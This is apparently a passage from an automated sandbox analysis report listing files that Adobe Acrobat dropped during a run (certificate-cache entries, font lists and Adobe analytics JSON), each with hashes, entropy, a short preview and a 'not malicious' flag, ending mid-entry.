Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFkludKNttfllXlE/HT8k45rtNNX8RolJuRdxLlGB9lQRYwpDdt:kK30PeT8fTNMa8RdWBwRd
MD5:	378380BCC2E8D452930991CF5DF91C5C
SHA1:	ECCA52A8D8F4952B4BC4B3BF44C035FF8E180912
SHA-256:	FFCF52ED9D2CB7C7CC832A55BB3E740BB9696E15AFE9A65F7C220BC7E5240E85
SHA-512:	C002250D117B900FF7994209BCC3606CE15F2202159E1F56520338C113A881FC16BC565E18D234D77B224E4BE0383F133153C2A7DC1D57E1D6E02E14FD3DC6DE
Malicious:	false
Preview:	p...... .........7..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kK+gyL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:WviDImsLNkPlE99SNxAhUe/3
MD5:	5B582C91F291C890CB85A2C624EC4ACF
SHA1:	733719CD4DB167395956BB505C903265D4E4C4A6
SHA-256:	AF71BC90E269A8AEB299C8167710C969348E00AB89761466F698413FC3D1D5D7
SHA-512:	7B5860D0AC62EA60EAB1EB3020D41BC54A7D321508AB477497A7FF578708E8A98A6976D31E7C89328AA2046870B57BF94D7A496449E4972D940ACB8483751B6B
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3680

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3680

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.33287466952181
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB0DrsBWDT654XVvR+FIbRI6XVW7+0YmaOoAvJM3g98kUwPeUkwRe9:YvXKXBBc654Fv0YpW7XEGMbLUkee9
MD5:	1341CB6F237CBC1AB9D5D2D70C62B515
SHA1:	2A6DF02D287B65ADC7766E9EA1B37FB91AF7A9B6
SHA-256:	6A851D9C269089220D3494CF5C12D7A9A7FD37D9347496471B0322D8CBAA1965
SHA-512:	0CD0AA4F3285A46A070F8F49739C5B25345A8A6059BC85DF542C1C1F578B9ACE1B4C5ADDEF2B05DEAB7586198B6E5B2A069F1D5C9FCFA2DEA52DA6D6E44EBE20
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6023f1f3-c718-4d3f-83a6-a07f18771033","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704636259,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.272089821857321
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB0DrsBWDT654XVvR+FIbRI6XVW7+0YmaOoAvJfBoTfXpnrPeUkwRe9:YvXKXBBc654Fv0YpW7XEGWTfXcUkee9
MD5:	E6071DF7421C80FA243B067BFE7D137B
SHA1:	AE6073B48C63C5E130FCA68357B2A89F7458210E
SHA-256:	FB8CF4AB60032A360F851DA5E7652C15CD8A908875BC6A1BE6CC5DA3ECC66FD1
SHA-512:	7CC02308676EE8A04B112B43466AD07529FF76F1B04F23FDE5AE9C30E933520349E37CBE3BD61F91949E78F2FD0FDB1EF4BDCA93675AE31FD6C7AFB6F361916F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6023f1f3-c718-4d3f-83a6-a07f18771033","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704636259,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.250489140725752
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB0DrsBWDT654XVvR+FIbRI6XVW7+0YmaOoAvJfBD2G6UpnrPeUkwRe9:YvXKXBBc654Fv0YpW7XEGR22cUkee9
MD5:	4EEF5948FEF8A814D1BDBE4EB1D3EEF5
SHA1:	5FE979FF243F4D1AD25235B3941ED5C4C8E7AF28
SHA-256:	774D98138A04F087D0ED470A0C850A0F7FEEA8BEC33C65987A1FED157C3E3C8A
SHA-512:	8ED89EBFD256C98A24B8232B35874B9D5C872759B3FC67E62456C18AAE60863A8E93470C65836531B059F40E70C0448B6BACFCCF2BA156C7E63C8B74C29AC103
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6023f1f3-c718-4d3f-83a6-a07f18771033","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704636259,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.310697767639066
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB0DrsBWDT654XVvR+FIbRI6XVW7+0YmaOoAvJfPmwrPeUkwRe9:YvXKXBBc654Fv0YpW7XEGH56Ukee9
MD5:	F965833BDB9D69ABE008ADB9EA99F47C
SHA1:	996CE518030F87DE4B1DFF21B87DD76A436680B5
SHA-256:	DC3187B8AF7916106DC1DD8635B443550D4D24845FE76BCA9AD6C531DC127F81
SHA-512:	323E348CE8C28F093E8369A20BB3B39F5518CB97FE928FEC046FCD45F471C5D19B145E5FEA1238CC4EA143D0D960DE01EFB5BB0EEFB42EB4AA76D9AA7C4296B3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6023f1f3-c718-4d3f-83a6-a07f18771033","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704636259,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690816092822991
Encrypted:	false
SSDEEP:	24:Yv6XBy/ZliXBpLgE9cQx8LennAvzBvkn0RCmK8czOCCSW:YvEyRMXBhgy6SAFv5Ah8cv/W
MD5:	45B948E3E551E7BA5F2E783C4295B955
SHA1:	2CF79C47CA4395A80F8CAEF24F38B7E841807242
SHA-256:	A8E0486532CE6BC0601C5F497659430785CC17903916FE9D355C0178BEFB13C0
SHA-512:	5A3A7E029BEF6014026C8C64B7B491FB578C3B1764076F2C7176F696208C2260C4956E1DE09C7B5A12DC8D100B077853E6D289B74D5EA0E0212F4C95D77B10A7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6023f1f3-c718-4d3f-83a6-a07f18771033","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704636259,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.258959345791973
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB0DrsBWDT654XVvR+FIbRI6XVW7+0YmaOoAvJf8dPeUkwRe9:YvXKXBBc654Fv0YpW7XEGU8Ukee9
MD5:	680AFC427ACB36E7C5E98352C6F69282
SHA1:	9386CFB8DE2B1DDE70D8BBDBC7CC9C2A5D6005F9
SHA-256:	A20C9B851159124C29FB9CE84EB1EBA908661C34B0A8F9F3B7545052459323B3
SHA-512:	E3E3B4D63223A4CA7D148B032F138099C2136EBBB5D266D592172B6A9F92B7CD811BCB5360432842A4006E9119482E71B3F25113FB079EC4F4784AE6FE8B7E61
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6023f1f3-c718-4d3f-83a6-a07f18771033","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704636259,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.260954192543652
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB0DrsBWDT654XVvR+FIbRI6XVW7+0YmaOoAvJfQ1rPeUkwRe9:YvXKXBBc654Fv0YpW7XEGY16Ukee9
MD5:	286990C58F455F08E866E62CBEA177D7
SHA1:	741C9C3379C38F7DE75088639C07DCE61C21EA61
SHA-256:	D4341B369A32CA0C6213E9721FFD4865ACE6B1E314BCCB7B38857B2E978F5CC0
SHA-512:	988C26B3CF97C206EC03761B6385DD3BAE64B8DE27680D13165A63849D5D5070F45C64F5B099472A05AF1C0BC7287E0CCC2581F91763AF660C475F6173021A63
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6023f1f3-c718-4d3f-83a6-a07f18771033","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704636259,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.279981536935587
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB0DrsBWDT654XVvR+FIbRI6XVW7+0YmaOoAvJfFldPeUkwRe9:YvXKXBBc654Fv0YpW7XEGz8Ukee9
MD5:	92D4C3FDCE8ECC71DC3CEE4653CC389F
SHA1:	4219927AB7E692431BC36BCC695135D54C1E8177
SHA-256:	90F3FA46AF0CEFAF97561A0BF17FE283131B01694ACAD36E99BAE1543D9F3FE8
SHA-512:	E64EEB957BCC0829516C52F4976EAF824D2DC002702057975BD70428A06A0F26B4E16C324416E1A905CC0CA4916A176CE389A67B3E953C78E89E9E02EAF7C5E9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6023f1f3-c718-4d3f-83a6-a07f18771033","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704636259,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.287064334981269
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB0DrsBWDT654XVvR+FIbRI6XVW7+0YmaOoAvJfzdPeUkwRe9:YvXKXBBc654Fv0YpW7XEGb8Ukee9
MD5:	714AB3178D2980E7724467909F5CD5AA
SHA1:	F5BBFD626CBBEED56D33734C219728F4F35EE69E
SHA-256:	7B0AF0886AB3868F23E6833829F98CEAD5F2446211557B14C7F58C87B5FA44AE
SHA-512:	914CBAC3F7ED7EF482319074EBBC4046AFA7379CA5B146984A70EEA9A14457AA3C13CBD33B34A85D0F53F2885BA1727EA37322448D8290E2B5E972070E71AA4D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6023f1f3-c718-4d3f-83a6-a07f18771033","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704636259,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267037504344492
Encrypted:	false
SSDEEP:	6:YEQXJ2HXB0DrsBWDT654XVvR+FIbRI6XVW7+0YmaOoAvJfYdPeUkwRe9:YvXKXBBc654Fv0YpW7XEGg8Ukee9
MD5:	2DB77A057662EDD6E939FE42995F0AD2
SHA1:	8EDBC9F7AF9FA8EC2C0C75277FE6A0D68B3CE301
